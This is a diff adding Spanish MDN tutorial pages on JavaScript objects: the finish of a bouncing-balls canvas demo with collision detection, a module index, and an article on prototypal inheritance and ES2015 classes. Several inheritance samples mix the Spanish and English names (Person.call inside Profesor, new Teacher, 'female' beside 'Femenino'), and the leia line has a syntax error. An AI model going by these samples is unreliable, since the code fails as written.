+<p>2. Añadamos las siguientes instrucciones al final del código: </p>
+
+<pre class="brush: js">function loop() {
+  ctx.fillStyle = 'rgba(0, 0, 0, 0.25)';
+  ctx.fillRect(0, 0, width, height);
+
+  while (balls.length &lt; 25) {
+    var size = random(10,20);
+    var ball = new Ball(
+      // la posición de las pelotas, se dibujará al menos siempre
+      // como mínimo a un ancho de la pelota de distancia al borde del
+      // canvas, para evitar errores en el dibujo
+      random(0 + size,width - size),
+      random(0 + size,height - size),
+      random(-7,7),
+      random(-7,7),
+      'rgb(' + random(0,255) + ',' + random(0,255) + ',' + random(0,255) +')',
+      size
+    );
+    balls.push(ball);
+  }
+
+  for (var i = 0; i &lt; balls.length; i++) {
+    balls[i].draw();
+    balls[i].update();
+  }
+
+  requestAnimationFrame(loop);
+}</pre>
+
+<p>Nuestra función de bucle: <code>loop()</code>, hace lo siguiente: </p>
+
+<ul>
+ <li>Define el color de relleno del canvas como negro semi-transparente, entonces dibuja un rectángulo en todo el ancho y alto del canvas, usando <code>fillRect()</code>, (los cuatro parámetros definen las coordenadas de origen, el ancho y el alto del rectángulo). Esto es para cubrir el dibujo del instante anterior antes de actualizar el nuevo dibujo. Si no se realiza este paso, resultará en las imágenes se irán apilando y veremos una especie de serpientes según se mueven por el canvas en vez de las pelotas moviéndose!  El color de relleno se define como semitransparente, <code>rgba(0,0,0,0.25)</code>, lo que nos permite que podamos intuir algunos de los dibujos de instantes anteriores, con lo que podremos recrear un poco el efecto de estelas detrás de las pelotas, según se mueven. Pruebe a variar este número para ver como resulta el efecto.   </li>
+ <li>Se crea una nueva instancia de la pelota <code>Ball()</code> usando un número aleatorio mediante la función  <code>random()</code>, entonces se añade este elemento al final del arreglo de las pelotas,  <code>push()</code>,  pero unicamente si el número de pelotas es menor que 25. Así cuando tengamos 25 pelotas en la pantalla, no crearemos nuevas pelotas. Pruebe a variar el número de pelotas en el código: <code>balls.length &lt; 25</code>. Dependiendo de la capacidad de procesamiento del navegador, un número de pelotas muy alto podría ralentizar significativamente la animación. ¡asi que cuidado! </li>
+ <li>Se recorre el  bucle por todo el conjunto de pelotas <code>balls</code> y se ejecuta el método para dibujar, <code>draw()</code>, cada una de las pelotas, y actualizar sus datos, <code>update()</code>, en cada una de ellas, así se conservarán las nuevas posiciones y velocidades para el siguiente intervalo de animación.</li>
+ <li>Se ejecuta la función de nuevo mediante el método <code>requestAnimationFrame()</code> - cuando este método está continuamente ejecutándose y llama a la misma función, esto ejecutará la función de animación un determinado número de veces por segundo para crear una animación fluida. Esto se realiza normalmente de forma recursiva — lo que quiere decir que la función se llama a sí misma cada vez que se ejecuta, de esa manera se ejecutará una y otra vez de forma continua. </li>
+</ul>
+
+<p>3. Por último, pero no menos importante, añadimos la siguiente línea, al final del código.-- es necesario llamar a la función inicialmente para que la animación comience. </p>
+
+<pre class="brush: js">loop();</pre>
+
+<p>Eso es todo para la parte básica — pruebe a guardar el código y refrescar el navegador para comprobar si aparecen las pelotas rebotando!</p>
+
+<h2 id="Añadiendo_la_detección_de_colisiones">Añadiendo la detección de colisiones</h2>
+
+<p>Ahora, un poco de diversión, añadamos la detección de colisiones a nuestro código. Así las pelotas, sabrán cuando chocan unas contra otras.</p>
+
+<ol>
+ <li>El primer paso, será añadir el código a continuación a continuación de donde se definió el método  <code>update()</code>. (en código de <code>Ball.prototype.update</code>)
+
+  <pre class="brush: js">Ball.prototype.collisionDetect = function() {
+  for (var j = 0; j &lt; balls.length; j++) {
+    if (!(this === balls[j])) {
+      var dx = this.x - balls[j].x;
+      var dy = this.y - balls[j].y;
+      var distance = Math.sqrt(dx * dx + dy * dy);
+
+      if (distance &lt; this.size + balls[j].size) {
+        balls[j].color = this.color = 'rgb(' + random(0, 255) + ',' + random(0, 255) + ',' + random(0, 255) +')';
+      }
+    }
+  }
+}</pre>
+
+  <p>Esta función es un poco complicada, así que no hay que preocuparse mucho si de momento no se comprende del todo.  </p>
+
+  <ul>
+   <li>Para cada pelota, necesitamos comprobar si chocará con cada una de las otras pelotas. Para esto, en un bucle <code>for</code> para recorrer todas las pelotas.</li>
+   <li>Dentro del bucle, usamos un <code>if</code>  para comprobar si la pelota que estamos mirando en ese ciclo del bucle <code>for</code> es la pelota que estamos mirando. No queremos mirar si una pelota ha chocado consigo misma. Para esto miramos si la pelota actual (es decir la pelota que está invocando al método que resuelve la detección de colisiones) es la misma que la indicada por el bucle. Usamos un operador <code>!</code> para indicar una negación en la comparación, así que el código dentro de la condición  solo se ejecuta si estamos mirando dos pelotas distintas.</li>
+   <li>Usamos un algoritmo común para comprobar la colisión de los dos pelotas. Básicamente miramos si el área de dos círculos se superponen.  Esto se explica mejor en el enlace <a href="/en-US/docs/Games/Techniques/2D_collision_detection">detección de colision 2D</a>.</li>
+   <li>En este caso, únicamente se define la propiedad de <code>color</code> para las dos pelotas, cambiándolas a un nuevo color aleatorio. Se podría haber hecho cosas más complicadas, como que las pelotas rebotasen una con la otra de forma realista, pero esto habría supuesto un desarrollo más complejo. Para desarrollar esos efectos de simulación física, los desarrolladores tienden a usar librerías de física como <a href="http://wellcaffeinated.net/PhysicsJS/">PhysicsJS</a>, <a href="http://brm.io/matter-js/">matter.js</a>, <a href="http://phaser.io/">Phaser</a>, etc.</li>
+  </ul>
+ </li>
+ <li>También es necesario llamar este método en cada instante de la animación. <code>balls[i].update();</code> en la línea:
+  <pre class="brush: js">balls[i].collisionDetect();</pre>
+ </li>
+ <li>Guardar y refrescar la demo de nuevo y podrá ver como las pelotas cambian de color cuando chocan entre ellas.</li>
+</ol>
+
+<div class="note">
+<p><strong>Nota</strong>: Si tiene problemas para hacer funcionar este ejemplo, puede comparar su código JavaScript, con el código de la <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/main-finished.js">version_final</a> (y también ver como funciona al <a href="http://mdn.github.io/learning-area/javascript/oojs/bouncing-balls/index-finished.html">ejecutarla</a>).</p>
+</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Esperamos que se haya divertido escribiendo su propio mundo de pelotas que chocan aleatoriamente, usando objetos y programación orientada a objetos. Esto debería haberle dado una práctica útil y haber sido un buen ejemplo. </p>
+
+<h2 id="Lea_también">Lea también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a> — una guia de principiante para usar el canvas 2D.</li>
+ <li><a href="/en-US/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame()</a></li>
+ <li><a href="/en-US/docs/Games/Techniques/2D_collision_detection">2D detección de colisiones</a></li>
+ <li><a href="/en-US/docs/Games/Techniques/3D_collision_detection">3D detección de colisiones</a></li>
+ <li><a href="/en-US/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript">2D juego de ruptura usando sólo JavaScript</a> — un gran tutorial para principiantes sobre como construir un juego 2D.</li>
+ <li><a href="/en-US/docs/Games/Tutorials/2D_breakout_game_Phaser">2D juego de ruptura usando Phaser</a> — explica los conceptos fundamentales para construir un juego 2D usando una librería de juegos de JavaScript. </li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects/Adding_bouncing_balls_features", "Learn/JavaScript/Objects")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics">Conceptos básicos de los objetos JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS">JavaScript orientado a objetos para principiantes</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_prototypes">Prototipos de objetos</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Inheritance">Herencia en JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON">Trabajando con datos JSON</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_building_practice">Ejercicio práctico de construcción de objetos</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">Añadiendo características a nuestra demo de bouncing balls</a></li>
+</ul>
diff --git a/files/es/learn/javascript/objects/index.html b/files/es/learn/javascript/objects/index.html
new file mode 100644
index 0000000000..191d23bc9f
--- /dev/null
+++ b/files/es/learn/javascript/objects/index.html
@@ -0,0 +1,67 @@
+---
+title: Introducción a los objetos JavaScript
+slug: Learn/JavaScript/Objects
+tags:
+  - Aprender
+  - Artículo
+  - Assessment
+  - CodingScripting
+  - Evaluación
+  - Guía
+  - JavaScript
+  - Objetos
+  - Principiante
+  - TopicStub
+  - Tutorial
+translation_of: Learn/JavaScript/Objects
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">En JavaScript, la mayoría de las cosas son objetos, desde características del núcleo de JavaScript como arrays hasta el explorador {{Glossary("API", "APIs")}} construído sobre JavaScript. Incluso puedes crear tus propios objetos para encapsular funciones y variables relacionadas dentro de paquetes eficientes que actúan como prácticos contenedores de datos. La naturaleza de JavaScript basada-en-objetos es importante de entender, si quieres avanzar con tu conocimiento del lenguaje, y por ello hemos hecho este módulo para ayudarte. Aquí enseñamos teoría de objetos y sintaxis en detalle, y luego veremos como crear tus propios objetos.</p>
+
+<h3 id="¿Buscas_convertirte_en_desarrollador_web_de_front-end">¿Buscas convertirte en desarrollador web de front-end?</h3>
+
+<p class="summary">Hemos puesto un curso que incluye toda la información esencial que necesitas para alcanzar esa meta</p>
+
+<p><a class="cta primary" href="/docs/Learn/Front-end_web_developer">Comienza aquí</a></p>
+
+<h2 id="Prerrequisitos">Prerrequisitos</h2>
+
+<p>Antes de empezar este módulo deberías estar familiarizado con  {{Glossary("HTML")}} and {{Glossary("CSS")}}. Te aconsejamos trabajar los módulos <a href="https://developer.mozilla.org/es/docs/Learn/HTML/Introduccion_a_HTML"> Introducción a HTML</a> y <a href="https://developer.mozilla.org/es/docs/Learn/CSS/Introduction_to_CSS">Introducción a CSS</a> antes de empezar con JavaScript.</p>
+
+<p>También deberías conocer lo básico de Javascript antes de entrar en detalle en los objetos de Javascript. Antes de empezar este módulo, revisa <a href="/es/docs/Learn/JavaScript/First_steps">Primeros pasos con JavaScript</a> y <a href="/es/docs/Learn/JavaScript/Building_blocks">Elementos básicos de Java​Script</a>.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Si trabajas en un ordenador, tablet u otro dispositivo donde no puedas editar tus propios ficheros, prueba a ejecutar los ejemplos de código online en páginas como <a href="http://jsbin.com/">JSBin</a> o <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
+</div>
+
+<h2 id="Guías">Guías</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/es/docs/Learn/JavaScript/Objects/Basics">Principios básicos de los Objetos</a></dt>
+ <dd>En este primer artículo sobre los objetos en Javascript, aprenderemos los fundamentos de la sintaxis de objetos en Javascript y revisaremos algunas características ya vistas anteriormente en el curso, remarcando el hecho que muchas de ellas son en realidad objetos.</dd>
+ <dt><a href="https://developer.mozilla.org/es/docs/Learn/JavaScript/Objects/Object-oriented_JS">JavaScript Orientado a Objetos para principiantes</a></dt>
+ <dd>Una vez vistos los principios básicos, nos centraremos en JavaScript orientado a objetos (OOJS) — este artículo presenta los elementos básicos de la teoría de programación orientada a objetos (OOP), posteriormente explora la manera en que JavaScript emula las clases de un objeto a través de los constructores de funciones, y cómo crea las instancias de un objeto.</dd>
+ <dt><a href="https://developer.mozilla.org/es/docs/Learn/JavaScript/Objects/Object_prototypes">Prototipos de Objetos</a></dt>
+ <dd>Los prototipos son el mecanismo por el cual los objetos en JavaScript heredan caraterísticas entre sí, y funcionan de manera distinta a los mecanismos de herencia  de los lenguages de programación orientada a objetos clásicos.</dd>
+ <dt><a href="/es/docs/Learn/JavaScript/Objects/Inheritance">Herencia en JavaScript</a></dt>
+ <dd><span id="result_box" lang="es"><span>Con la mayoría de los detalles sangrientos de OOJS ahora explicados, este artículo muestra cómo crear clases de objetos "hijo" (constructores) que heredan características de sus clases "principales".</span> <span>Además, presentamos algunos consejos sobre cuándo y dónde puede usar OOJS.</span></span></dd>
+ <dt><a href="/es/docs/Learn/JavaScript/Objects/JSON">Trabajando con datos JSON</a></dt>
+ <dd><span id="result_box" lang="es"><span>La notación de objetos JavaScript (JSON) es un formato estándar basado en texto para representar datos estructurados basados en la sintaxis de objetos de JavaScript, que se usa comúnmente para representar y transmitir datos en sitios web (es decir, enviar datos desde el servidor al cliente;</span> <span>se mostrará en una página web).</span> <span>Lo encontrarás con bastante frecuencia, por lo que en este artículo te proporcionamos todo lo que necesitas para trabajar con JSON mediante JavaScript, incluido el análisis del JSON para que puedas acceder a los elementos de datos y escribir su propio JSON.</span></span></dd>
+ <dt><a href="/es/docs/Learn/JavaScript/Objects/Ejercicio_práctico_de_construcción_de_objetos">Práctica de Construcción de Objetos</a></dt>
+ <dd><span id="result_box" lang="es"><span>En artículos anteriores vimos toda la teoría esencial de los objetos de JavaScript y los detalles de sintaxis, brindándote una base sólida para comenzar.</span> <span>En este artículo nos sumergimos en un ejercicio práctico, que te dará más práctica en la construcción de objetos personalizados de JavaScript, que producen algo divertido y colorido: algunas pelotas de colores rebotando.</span></span></dd>
+</dl>
+
+<h2 id="Evaluaciones">Evaluaciones</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">Agregar funciones a nuestra demo de "Pelotas Rebotando"</a></dt>
+ <dd><span id="result_box" lang="es"><span>En esta evaluación, se espera que utilices la demostración de pelotas que rebotan del artículo anterior como punto de partida y que le agregues algunas características nuevas e interesantes.</span></span></dd>
+</dl>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<dl>
+ <dt><a href="https://learnjavascript.online/">Aprender JavaScript</a></dt>
+ <dd>Un excelente recurso para los aspirantes a desarrolladores web —prenda JavaScript en un entorno interactivo, con lecciones cortas y pruebas interactivas, guiado por una evaluación automatizada. Las primeras 40 lecciones son gratuitas, y el curso completo está disponible por un pequeño pago único.</dd>
+</dl>
diff --git a/files/es/learn/javascript/objects/inheritance/index.html b/files/es/learn/javascript/objects/inheritance/index.html
new file mode 100644
index 0000000000..e1cbba42da
--- /dev/null
+++ b/files/es/learn/javascript/objects/inheritance/index.html
@@ -0,0 +1,400 @@
+---
+title: Herencia en JavaScript
+slug: Learn/JavaScript/Objects/Inheritance
+translation_of: Learn/JavaScript/Objects/Inheritance
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects")}}</div>
+
+<p class="summary">Con la mayoría de los detalles internos de OOJS (<em>JavaScript Orientado a Objetos) </em>explicados, este artículo muestra cómo crear clases "hijo" (constructores) que heredan características de sus clases "padre". Además, presentamos algunos consejos sobre cuándo y dónde puedes usar OOJS y cómo se crean las clases con la sintaxis moderna de ECMAScript.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Pre-requisitos:</th>
+   <td>Conocimientos básicos de informática, una comprensión básica de HTML y CSS, familiaridad con los principios básicos de JavaScript (ver <a href="/en-US/docs/Learn/JavaScript/First_steps">Primeros pasos</a> y <a href="/en-US/docs/Learn/JavaScript/Building_blocks">Construyendo bloques</a>) y conceptos básicos de OOJS (ver <a href="/en-US/docs/Learn/JavaScript/Object-oriented/Introduction">Introduccion a objetos</a>).</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Entender cómo es posible implementar la herencia en JavaScript.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Herencia_prototípica">Herencia prototípica</h2>
+
+<p>Hasta ahora hemos visto algo de herencia en acción — hemos visto cómo funcionan las cadenas de prototipos, y cómo los miembros son heredados subiendo una cadena. Pero principalmente esto ha involucrado funciones integradas del navegador. ¿Cómo creamos un objeto en JavaScript que hereda de otro objeto?</p>
+
+<p>Exploremos cómo hacer esto con un ejemplo concreto.</p>
+
+<h2 id="Primeros_pasos">Primeros pasos</h2>
+
+<p>Primero que nada, hazte una copia local de nuestro archivo  <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-start.html">oojs-class-inheritance-start.html</a> (míralo <a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-start.html">corriendo en vivo</a> también). Dentro de aquí encontrarás el mismo ejemplo de constructor de <code>Persona()</code> que hemos estado usando a través del módulo, con una ligera diferencia — hemos definido solo las propiedades dentro del constructor:</p>
+
+<pre class="brush: js notranslate">function Persona(nombrePila, apellido, edad, genero, intereses) {
+  this.nombre = {
+    nombrePila,
+    apellido
+  };
+  this.edad = edad;
+  this.genero = genero;
+  this.intereses = intereses;
+};</pre>
+
+<p><em>Todos</em> los métodos están definidos en el prototipo del constructor. Por ejemplo:</p>
+
+<pre class="brush: js notranslate">Persona.prototype.saludo = function() {
+  alert('¡Hola! soy ' + this.nombre.nombrePila + '.');
+};</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: En el código fuente, también verá los métodos <code>bio()</code> y <code>despedida()</code> definidos. Más tarde verá cómo estos pueden ser heredados por otros constructores.</p>
+</div>
+
+<p>Digamos que quisieramos crear una clase de <code>Profesor</code>, como la que describimos en nuestra definición inicial orientada a objetos, que hereda todos los miembros de <code>Persona</code>, pero también incluye:</p>
+
+<ol>
+ <li>Una nueva propiedad, <font face="consolas, Liberation Mono, courier, monospace"><span>materia</span></font> — esto contendrá la materia que el profesor enseña.</li>
+ <li>Un método actualizado de <code>saludo()</code>, que suena un poco más formal que el método estándar de <code>saludo()</code> — más adecuado para un profesor que se dirige a algunos estudiantes en la escuela.</li>
+</ol>
+
+<h2 id="Definiendo_un_constructor_Profesor">Definiendo un constructor Profesor()</h2>
+
+<p>Lo primero que tenemos que hacer es crear el constructor Profesor<code>()</code>  — añadimos lo siguiente tras el código existente:</p>
+
+<pre class="brush: js notranslate">function Profesor(nombrePila, apellido, edad, genero, intereses, materia) {
+  Person.call(this, nombrePila, apellido, edad, genero, intereses);
+
+  this.materia = materia;
+}</pre>
+
+<p>Esto es similar al constructor de Persona en muchos aspectos, pero hay algo extraño aquí que no hemos visto antes: la función call (). Esta función básicamente le permite llamar a una función definida en otro lugar, pero en el contexto actual.<br>
+ El primer parámetro especifica el valor de this que desea utilizar al ejecutar la función, y los otros parámetros son aquellos que deben pasarse a la función cuando se invoca.</p>
+
+<p>Queremos que el constructor Profesor() tome los mismos parámetros que el constructor Persona() del que está heredando, por lo que los especificamos todos como parámetros en la invocación call().</p>
+
+<p>La última línea dentro del constructor simplemente define la nueva propiedad subject que los profesores tendrán y que las personas genéricas no tienen.</p>
+
+<p>Como nota, podríamos haber simplemente hecho esto:</p>
+
+<pre class="brush: js notranslate">function Profesor(nombrePila, apellido, edad, genero, intereses, materia) {
+  this.nombre = {
+    nombrePila,
+    apellido
+  };
+  this.edad = edad;
+  this.genero = genero;
+  this.intereses = intereses;
+  this.materia = materia;
+}</pre>
+
+<p>Pero esto es solo definir las propiedades de nuevo, no heredarlas de Persona(), por lo que anula el punto de lo que estamos tratando de hacer. También lleva más líneas de código.</p>
+
+<h3 id="Heredando_de_un_constructor_sin_parámetros">Heredando de un constructor sin parámetros</h3>
+
+<p>Nótese que si el constructor del cual se está heredando no toma los valores de sus propiedades de parámetros, no se necesita especificarlos como argumentos adicionales en <code>call()</code>. Por ejemplo, si se tuviera algo muy simple como esto:</p>
+
+<pre class="brush: js notranslate">function Brick() {
+  this.width = 10;
+  this.height = 20;
+}</pre>
+
+<p>Se podrían heredar las propiedades <code>width</code> y <code>height</code> haciendo esto (así como los otros pasos descritos a continuación, por supuesto):</p>
+
+<pre class="brush: js notranslate">function BlueGlassBrick() {
+  Brick.call(this);
+
+  this.opacity = 0.5;
+  this.color = 'blue';
+}</pre>
+
+<p>Nótese que solo especificamos <code>this</code> dentro de <code>call()</code> — no se requieren otros parámetros ya que no estamos heredando ninguna propiedad del padre que sea establecida por parámetros.</p>
+
+<h2 id="Estableciendo_el_prototipo_de_Profesor_y_su_referencia_al_constructor">Estableciendo el prototipo de Profesor() y su referencia al constructor</h2>
+
+<p>Todo va bien hasta ahora, pero tenemos un problema. Definimos un nuevo constructor, y tiene una propiedad <code>prototype</code>, la cual por defecto solo contiene una referencia a la función constructor en sí misma. No contiene los métodos de la propiedad <code>prototype</code> del constructor <code>Persona</code>. Para ver esto, introduzca <code>Object.getOwnPropertyNames(Profesor.prototype)</code> ya sea en el campo de texto o en la consola de Javascript . Introdúzcalo nuevamente, reemplazando <code>Profesor</code> con <code>Persona</code>. El nuevo constructor tampoco hereda esos métodos. Para ver esto, compare los resultados de <code>Persona.prototype.saludo</code> and <code>Profesor.prototype.saludo</code>. Necesitamos obtener <code>Profesor()</code> para obtener los métodos definidos en el prototipo de <code>Persona()</code>. ¿Cómo lo hacemos?</p>
+
+<ol>
+ <li>Añade la siguiente línea debajo de tu adición anterior:
+  <pre class="brush: js notranslate">Profesor.prototype = Object.create(Persona.prototype);</pre>
+  Aquí es cuando nuestro amigo <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/create">create()</a></code> sale al rescate de nuevo. En este caso lo estamos usando para crear un nuevo objeto y hacerlo el valor de <code>Profesor.prototype.</code> El nuevo objeto tiene <code>Persona.prototype</code> como su prototipo y por lo tanto heredará, si y cuando lo necesite, todos los métodos disponibles en <code>Persona.prototype</code>.</li>
+ <li>Necesitamos hacer una cosa más antes de proseguir. Después de agregar la última línea, la propiedad <code>constructor </code>de  <code>Profesor.prototype</code> es ahora igual a <code>Persona()</code>, debido a que acabamos de asignar <code>Profesor.prototype</code> para que haga referencia a un objeto que hereda sus propiedades de <code>Persona.prototype</code>! Ahora prueba guardando tu código, carga la página en un explorador e intenta verificar en la consola el valor de  <code>Profesor.prototype.constructor</code>.</li>
+ <li>Esto puede volverse un problema, así que necesitamos corregirlo. Puedes hacerlo regresando a tu código y agregando la siguiente línea al final:
+  <pre class="brush: js notranslate">Profesor.prototype.constructor = Profesor;</pre>
+ </li>
+ <li>Ahora, si guardas y actualizas, el valor de <code>Profesor.prototype.constructor</code> debe regresar <code>Profesor()</code>, como se espera, además de que ahora estamos heredando de <code>Persona()</code>!</li>
+</ol>
+
+<h2 id="Dándole_a_Profesor_un_nuevo_método_saludo">Dándole a Profesor() un nuevo método saludo()</h2>
+
+<p>Para finalizar nuestro código, necesitamos definir un nuevo método <code>saludo()</code> en el constructor de <code>Profesor()</code>.</p>
+
+<p>La manera más fácil es definirlo en el prototipo de <code>Profesor()</code> — agrega lo siguiente al final de tu código:</p>
+
+<pre class="brush: js notranslate">Profesor.prototype.saludo = function() {
+  var prefijo;
+
+  if (this.genero === 'masculino' || this.genero === 'Masculino' || this.genero === 'm' || this.genero === 'M') {
+    prefijo = 'Sr.';
+  } else if (this.genero === 'female' || this.genero === 'Femenino' || this.genero === 'f' || this.genero === 'F') {
+    prefijo = 'Sra.';
+  } else {
+    prefijo = 'Sx.';
+  }
+
+  alert('Hola. Mi nombre es ' + prefijo + ' ' + this.nombre.apellido + ', y enseño ' + this.materia + '.');
+};</pre>
+
+<p>Esto muestra el saludo del profesor, el cual además utiliza un prefijo apropiado para su género, resuelto utilizando un bloque else-if.</p>
+
+<h2 id="Probando_el_ejemplo">Probando el ejemplo</h2>
+
+<p>Ahora que ha ingresado todo el código, intente creando una instancia de objeto desde <code>Profesor()</code> poniendo lo que sigue al final de su archivo (o algo similar a su elección):</p>
+
+<pre class="brush: js notranslate">var teacher1 = new Teacher('Dave', 'Griffiths', 31, 'male', ['football', 'cookery'], 'mathematics');</pre>
+
+<p>Ahora guarde y actualice, e intente accediendo a las propiedades y metodos de su nuevo<code> teacher1</code> objecto, por ejemplo:</p>
+
+<pre class="brush: js notranslate">teacher1.name.first;
+teacher1.interests[0];
+teacher1.bio();
+teacher1.subject;
+teacher1.greeting();
+teacher1.farewell();</pre>
+
+<p>Esto deberia trabajar bien. Las consultas de las líneas 1, 2, 3, y 6 acceden a miembros heredados del genérico<code> Person()</code> constructor (clase). La consulta de la línea 4 accede un miembro que es disponible solamente en el mas especializado<code> Teacher()</code> constructor (clase). La consulta de la línea 5 accedería a un miembro desde<code> Person()</code>, excepto por el hecho que <code>Teacher()</code> tiene sus propios miembros con el mismo nombre, entonces la consulta accede a ese miembro.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Si tiene problemas con el funcionamiento, compare su código con nuestra <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-finished.html">versión final</a> (vea <a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-finished.html">corriendo en vivo</a> también).</p>
+</div>
+
+<p>La técnica que mostramos aquí no es la única para crear herencia de clases en JavaScript, pero funciona OK, y le dá una buena idea acerca de cómo implementar herencia en JavaScript.</p>
+
+<p>También estará interesado en verificar algo de las nuevas características de {{glossary("ECMAScript")}} que nos permiten hacer herencia mas claramente en JavaScript (véase <a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a>). No se cubrió todo aquí, como tampoco es soportado aún por todos los navegadores. Todo el otro código de constructores que se discutió aquí en estos artículos son soportados por IE9 o superior, y hay caminos para lograr superiores soportes que estos.</p>
+
+<p>Un simple camino es usar una librería de JavaScript — la mayoría de las opciones mas populares tienen un facil ajuste de funcionalidad disponible para hacer herencia mas facil y rápido. <a href="http://coffeescript.org/#classes">CoffeeScript</a> por ejemplo provee<code> class</code>, <code>extends</code>, etc.</p>
+
+<h2 id="Un_ejercicio_mas_allá">Un ejercicio mas allá</h2>
+
+<p>En nuestra <a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS#Object-oriented_programming_from_10000_meters">Sección teórica de POO</a>, también incluimos una clase <code>Student</code> como un concepto, el cual hereda todas las características de <code>Person</code>, y también tiene un método diferende de <code>greeting()</code> que <code>Person</code> que es mas informal que el saludo de los profesores <code>Teacher</code>. Dele una mirada al saludo de los estudiantes, y trate de implementar su propio constructor de saludo <code>Student()</code> que herede todas las características de <code>Person()</code>, e implemente las diferentes funciones de saludo <code>greeting()</code>.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Si tiene problemas resolviendo esto, dele una mirada a nuestra<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-student.html"> versión final</a> (véala tambien <a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-student.html">funcionando</a> ).</p>
+</div>
+
+<h2 id="Resúmen_de_miembros_objeto">Resúmen de miembros objeto</h2>
+
+<p>To summarize, you've basically got three types of property/method to worry about:</p>
+
+<ol>
+ <li>Those defined inside a constructor function that are given to object instances. These are fairly easy to spot — in your own custom code, they are the members defined inside a constructor using the <code>this.x = x</code> type lines; in built in browser code, they are the members only available to object instances (usually created by calling a constructor using the <code>new</code> keyword, e.g. <code>var myInstance = new myConstructor()</code>).</li>
+ <li>Those defined directly on the constructor themselves, that are available only on the constructor. These are commonly only available on built-in browser objects, and are recognized by being chained directly onto a constructor, <em>not</em> an instance. For example, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys">Object.keys()</a></code>.</li>
+ <li>Those defined on a constructor's prototype, which are inherited by all instances and inheriting object classes. These include any member defined on a Constructor's prototype property, e.g. <code>myConstructor.prototype.x()</code>.</li>
+</ol>
+
+<p>If you are not sure which is which, don't worry about it just yet — you are still learning, and familiarity will come with practice.</p>
+
+<h2 id="ECMAScript_2015_Classes">ECMAScript 2015 Classes</h2>
+
+<p>ECMAScript 2015 introduces <a href="/en-US/docs/Web/JavaScript/Reference/Classes">class syntax</a> to JavaScript as a way to write reusable classes using easier, cleaner syntax, which is more similar to classes in C++ or Java. In this section we'll convert the Person and Teacher examples from prototypal inheritance to classes, to show you how it's done.</p>
+
+<div class="note">
+<p><strong>Note</strong>: This modern way of writing classes is supported in all modern browsers, but it is still worth knowing about how the underlying prototypal inheritance in case you work on a project that requires supporting a browser that doesn't support this syntax (most notably Internet Explorer).</p>
+</div>
+
+<p>Let's look at a rewritten version of the Person example, class-style:</p>
+
+<pre class="brush: js notranslate">class Person {
+  constructor(first, last, age, gender, interests) {
+    this.name = {
+      first,
+      last
+    };
+    this.age = age;
+    this.gender = gender;
+    this.interests = interests;
+  }
+
+  greeting() {
+    console.log(`Hi! I'm ${this.name.first}`);
+  };
+
+  farewell() {
+    console.log(`${this.name.first} has left the building. Bye for now!`);
+  };
+}
+</pre>
+
+<p>The <a href="/en-US/docs/Web/JavaScript/Reference/Statements/class">class</a> statement indicates that we are creating a new class. Inside this block, we define all the features of the class:</p>
+
+<ul>
+ <li>The <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/constructor">constructor()</a></code> method defines the constructor function that represents our <code>Person</code> class.</li>
+ <li><code>greeting()</code> and <code>farewell()</code> are class methods. Any methods you want associated with the class are defined inside it, after the contructor. In this example, we've used <a href="/en-US/docs/Web/JavaScript/Reference/Template_literals">template literals</a> rather than string concatenation to make the code easier to read.</li>
+</ul>
+
+<p>We can now instantiate object instances using the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new"><code>new</code> operator</a>, in just the same way as we did before:</p>
+
+<pre class="brush: js notranslate">let han = new Person('Han', 'Solo', 25, 'male', ['Smuggling']);
+han.greeting();
+// Hi! I'm Han
+
+let leia = new Person('Leia', 'Organa', 19, 'female' ['Government']]);
+leia.farewell();
+// Leia has left the building. Bye for now
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Under the hood, your classes are being converted into prototypal Inheritance models — this is just syntactic sugar. But I'm sure you'll agree that it's easier to write.</p>
+</div>
+
